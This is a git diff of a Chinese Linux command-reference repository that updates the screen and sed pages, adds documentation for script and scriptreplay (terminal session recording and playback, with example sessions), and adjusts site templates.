打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:
-```
+```shell
0$ bash 1-$ bash 2*$ bash
```
@@ -125,7 +125,7 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:
-```
+```shell
[root@TS-DEV ~]# screen vi /tmp/david.txt
```
@@ -133,19 +133,16 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
暂时中断会话
-!
半个小时之后回来了,找到该screen会话:
-```
+```shell
[root@TS-DEV ~]# screen -ls
```
-!
-
重新连接会话:
-```
+```shell
[root@TS-DEV ~]# screen -r 12865
```
@@ -153,29 +150,46 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:
-!
**清除dead 会话**
如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:
-!
- **关闭或杀死窗口**
+ **关闭或杀死一个Screen会话**
-正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用C-a k,这个快捷键杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
+正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用`ctrl`+`a` 键,然后按下`k`键,最后当提示你是否要杀死这个会话时按下`y`键,这个快捷键会杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。
除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。
-### screen 高级应用
+此外,这里再介绍另外一种快速杀死一个Screen会话的命令:
+
+```shell
+[root@TS-DEV ~]# screen -ls #列出存在的会话
+[root@TS-DEV ~]# screen -XS "会话id或者名称" quit
+```
+
+**示例:**
+
+```shell
+[root@TS-DEV ~]# screen -ls
+There are screens on:
+ 11235.test (01/25/2021 03:35:31 PM) (Detached)
+1 Sockets in /run/screen/S-root.
+[root@TS-DEV ~]# screen -XS 11235 quit
+#或者
+[root@TS-DEV ~]# screen -XS test quit
+```
+
+### screen 高级应用
**会话共享**
还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:
-```
+```shell
[root@TS-DEV ~]# screen -x
```
@@ -191,7 +205,7 @@ Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输
在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:
-```
+```shell
[root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
```
@@ -203,15 +217,12 @@ Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输
可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。
-!
-
**C/P模式和操作**
screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a 或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。
一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。
-!
**更多screen功能**
@@ -220,4 +231,3 @@ screen的另一个很强大的功能就是可以在不同窗口之间进行复
以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。
-
\ No newline at end of file
diff --git a/command/script.md b/command/script.md
new file mode 100644
index 00000000000..9ed0290c31e
--- /dev/null
+++ b/command/script.md
@@ -0,0 +1,120 @@
+script
+===
+
+记录终端会话的所有操作
+
+## 补充说明
+
+**script** 用于在终端会话中,记录用户的所有操作和命令的输出信息。简而言之,记录终端会话发生的一切信息,如同一台终端录像机。例如,用户在输入某条命令时,字符的键入和删除也都会被记录。用户在终端的所有操作、终端的回显等信息会被以 `raw` 格式存储在日志文件,称为终端数据文件。命令的时间信息会被单独以另一种结构储存为日志文件,称为时间日志文件。使用命令`exit`或者快捷键`Ctrl + D`停止记录。
+
+
+### 语法
+
+```shell
+script(选项)(参数)
+```
+
+### 选项
+
+```shell
+-a, --append # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
+-c, --command command # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
+ # command 可以是任意能够在终端会话执行的命令
+-e, --return # 返回子进程的退出状态码
+-f, --flush # 每次终端的内容发生变动,立马写入日志文件
+--force # 允许默认输出终端数据文件为符号链接
+-o, --output-limit size # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程
+ # size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000)
+ # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB
+-q, --quiet # 安静模式。启动和退出script命令不显示任何提示
+-t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件
+-V, --version # 显示版本信息并退出
+-h, --help # 显示帮助文本并退出
+```
+
+### 参数
+
+* 终端数据文件:设置存储终端数据信息的文件名称
+
+### 实例
+
+```shell
+script # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件
+script command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
+script -t 2>time.file command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
+ # 在当前目录创建名称为 time.file 的文件来保存时间日志文件
+```
+
+ **以追加模式记录终端信息**
+
+```shell
+zfb@localhost:~$ script -t 2>time.file -a -f command.log
+Script started, file is command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
+-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
+-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+Script done, file is command.log
+zfb@localhost:~$
+```
+
+然后,用户可以查看终端数据文件,使用方法如下
+
+```shell
+zfb@localhost:~$ cat command.log
+Script started on 2020-12-23 20:48:25+08:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="75" LINES="30"]
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
+-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
+-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+
+Script done on 2020-12-23 20:49:04+08:00 [COMMAND_EXIT_CODE="0"]
+zfb@localhost:~$
+```
+
+其中,只有命令`cat command.log`是用户输入,其他均为自动呈现。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台机器上,都可以重现命令输入与终端回显。
+
+ **记录服务器用户会话操作**
+
+以`root`身份编辑文件`/etc/profile`,在文件末尾追加以下内容
+
+```bash
+if [ $UID -ge 0 ]
+then
+ exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
+fi
+```
+
+然后再以`root`身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息
+
+```bash
+sudo mkdir -p /var/log/script-records/
+sudo chmod 733 /var/log/script-records/
+```
+
+最后,执行命令`source /etc/profile`即可。任意用户(`UID ≥ 0`)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。
+
+
+
diff --git a/command/scriptreplay.md b/command/scriptreplay.md
new file mode 100644
index 00000000000..1715de3326f
--- /dev/null
+++ b/command/scriptreplay.md
@@ -0,0 +1,93 @@
+scriptreplay
+===
+
+重新播放终端会话的所有操作
+
+## 补充说明
+
+**scriptreplay** 用于在终端中,根据 `script` 命令记录的终端数据文件和时间日志文件,重现当时用户的所有操作和命令的输出信息。简而言之,重现播放当时终端会话发生的一切信息,而不是重新运行一遍命令。例如,用户当时在输入某条命令时,字符的键入和删除也都会被重现。非常适合用于教程演示场合。而且,在机器 A 上面使用 `script` 命令记录终端操作,可以在机器 B 上面使用 `scriptreplay` 命令重新播放。
+
+
+### 语法
+
+```shell
+scriptreplay [options] [-t] timingfile [typescript [divisor]]
+```
+
+### 选项
+
+```shell
+-t, --timing file # 记录时间日志的文件名称
+-s, --typescript file # 记录终端数据信息的日志文件名称
+-d, --divisor number # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number
+ # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍
+-m, --maxdelay number # 表示命令之间的最大延迟时间(单位是秒)
+ # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放
+-V, --version # 显示版本信息并退出
+-h, --help # 显示帮助文本并退出
+```
+
+### 参数
+
+* 时间日志文件:存储时间日志信息的文件名称
+* 终端数据文件:存储终端数据信息的文件名称
+
+### 实例
+
+```shell
+# 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件
+scriptreplay time.file command.log
+# 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒
+scriptreplay -d 1 -m 2 -t time.file -s command.log
+```
+
+ **记录终端内容到文件**
+
+```shell
+zfb@localhost:~$ script -t 2>time.file -a -f command.log
+Script started, file is command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
+-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
+-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+Script done, file is command.log
+zfb@localhost:~$
+```
+
+ **重新播放终端内容**
+
+```shell
+zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
+-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
+-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+
+zfb@localhost:~$
+```
+
+其中,只有命令`scriptreplay -d 1 -m 2 -t time.file -s command.log`是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台支持`scriptreplay`命令的机器上,都可以动态重现命令输入与终端回显。
+
+
diff --git a/command/sed.md b/command/sed.md
index 0c948200e20..416c271f25e 100644
--- a/command/sed.md
+++ b/command/sed.md
@@ -5,20 +5,20 @@ sed
## 补充说明
-**sed** 是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。
+**sed** 是一种流编辑器,它是文本处理中非常重要的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。
## sed的选项、命令、替换标记
**命令格式**
-```
+```shell
sed [options] 'command' file(s)
sed [options] -f scriptfile file(s)
```
-### 选项
+### 选项
-```
+```shell
-e
<% if(md_path){ %>
@@ -10,7 +10,9 @@
添加实例
<% } %>
-{{content}}
-
-<%- include('footer',{type: "list"}); %>
\ No newline at end of file
+<%-mdhtml%>
+
+
+<%- include('widget/footer',{type: "list"}); %>
+<%- include('partial/footer'); %>
\ No newline at end of file
diff --git a/template/footer.ejs b/template/footer.ejs
deleted file mode 100644
index 0b5d7de58d1..00000000000
--- a/template/footer.ejs
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-